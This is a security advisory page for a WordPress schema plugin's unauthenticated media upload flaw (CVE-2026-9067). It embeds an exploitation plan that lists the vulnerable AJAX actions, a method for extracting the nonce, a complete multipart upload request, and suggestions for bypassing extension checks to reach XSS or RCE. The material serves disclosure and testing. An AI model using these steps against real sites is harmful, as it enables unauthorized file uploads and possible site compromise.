Schema & Structured Data for WP & AMP < 1.60 - Unauthenticated Arbitrary Media Upload
Description
The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to arbitrary file uploads due to missing access control in all versions up to 1.60 (exclusive). This makes it possible for unauthenticated attackers to upload media files on the affected site's server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<1.60What Changed in the Fix
Changes introduced in v1.60
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-9067 ## 1. Vulnerability Summary The **Schema & Structured Data for WP & AMP** plugin (versions < 1.60) contains an unauthenticated arbitrary media upload vulnerability. The vulnerability exists in the Review module, specifically within the AJAX handlers for …
Show full research plan
Exploitation Research Plan - CVE-2026-9067
1. Vulnerability Summary
The Schema & Structured Data for WP & AMP plugin (versions < 1.60) contains an unauthenticated arbitrary media upload vulnerability. The vulnerability exists in the Review module, specifically within the AJAX handlers for image and video uploads. While the plugin registers these actions for unauthenticated users (wp_ajax_nopriv_), it fails to implement sufficient authorization checks (e.g., current_user_can) or strict file type validation within the handling functions, allowing any visitor to upload media files to the server.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions:
saswp_rf_form_image_upload(for images)saswp_rf_form_video_upload(for videos)
- Method: POST (multipart/form-data)
- Authentication: None (Unauthenticated)
- Payload Parameter:
file(containing the media payload) - Nonce Parameter:
saswp_security_nonce(required for verification)
3. Code Flow
- Entry Point: The plugin registers AJAX hooks in
modules/reviews/class-saswp-review-feature-frontend.php:add_action( 'wp_ajax_saswp_rf_form_image_upload', [$this, 'saswp_image_upload'] ); add_action( 'wp_ajax_nopriv_saswp_rf_form_image_upload', [$this, 'saswp_image_upload'] ); - Execution: When a POST request is sent to
admin-ajax.phpwithaction=saswp_rf_form_image_upload, WordPress executes thesaswp_image_uploadmethod. - Nonce Verification: The function typically verifies a nonce passed in the
saswp_security_nonceparameter against the actionsaswp_rf_nonce. - Vulnerable Sink (Inferred): The function likely uses
wp_handle_upload()ormedia_handle_upload()to process the$_FILES['file']array. Because there is no check for user capabilities (likeupload_files), any unauthenticated user who possesses a valid frontend nonce can trigger the upload.
4. Nonce Acquisition Strategy
The nonce is generated for unauthenticated users (UID 0) and localized into the frontend scripts when the Review feature is active on a page.
- Shortcode Identification: The Review feature is usually active on posts where comments are enabled and the "Review" schema type is applied, or via the
[saswp-reviews]shortcode. - Page Creation: Use WP-CLI to ensure a target page exists with the necessary environment:
wp post create --post_type=post --post_title="Review Page" --post_status=publish --post_content="[saswp-reviews]" --comment_status=open - Browser Navigation: Navigate to the newly created post.
- Nonce Extraction: The plugin localizes data into a JavaScript object. Based on the file
modules/reviews/class-saswp-review-feature-frontend.php, the localized variable name is likelysaswp_rf_data(inferred from the script handlesaswp-rf-script).- Use
browser_eval:window.saswp_rf_data?.nonce
- Use
5. Exploitation Strategy
- Target Identification: Confirm the plugin version is < 1.60 and the Review module is enabled in the plugin settings.
- Nonce Retrieval:
- Create a post with the
[saswp-reviews]shortcode. - Navigate to the post and extract the nonce using
browser_eval.
- Create a post with the
- File Upload:
- Prepare a benign image file (e.g.,
exploit.png). - Use the
http_requesttool to send a multipart POST request.
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="action" saswp_rf_form_image_upload ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="saswp_security_nonce" [EXTRACTED_NONCE] ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="exploit.png" Content-Type: image/png [BINARY_DATA] ------WebKitFormBoundaryABC123-- - Prepare a benign image file (e.g.,
6. Test Data Setup
- Enable Review Feature: Ensure the "Review" feature and "Stars Rating" are enabled in the plugin's Global Settings.
wp option update sd_data '{"saswp-reviews-en":"1", "saswp-rf-page-settings-pros-cons-limit":"3"}' --format=json(Structure may vary).
- Create Target Post:
wp post create --post_type=post --post_status=publish --post_title="Exploit Test" --post_content="[saswp-reviews]"
7. Expected Results
- The server should return a JSON response containing the attachment ID or the URL of the uploaded file (e.g.,
{"status":"1","url":".../uploads/saswp-reviews/exploit.png"}). - The file should be accessible at the returned URL.
8. Verification Steps
- Check Filesystem: Verify the file exists in the uploads directory:
ls -R /var/www/html/wp-content/uploads/ | grep exploit.png
- Check Media Library: Query the WordPress database for the new attachment:
wp post list --post_type=attachment --posts_per_page=5
9. Alternative Approaches
- Video Upload: If image upload is restricted, attempt the same process using
action=saswp_rf_form_video_uploadwith a small.mp4file. - Direct Nonce Search: If
saswp_rf_datais not found, search the page source for any hidden input fields namedsaswp_security_nonceor script tags containingnonce. - Extension Bypass: If the "Arbitrary" nature allows it, attempt to upload files with double extensions (e.g.,
exploit.php.jpg) or disallowed types like.svgto check for XSS or potential RCE if the server configuration is weak.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.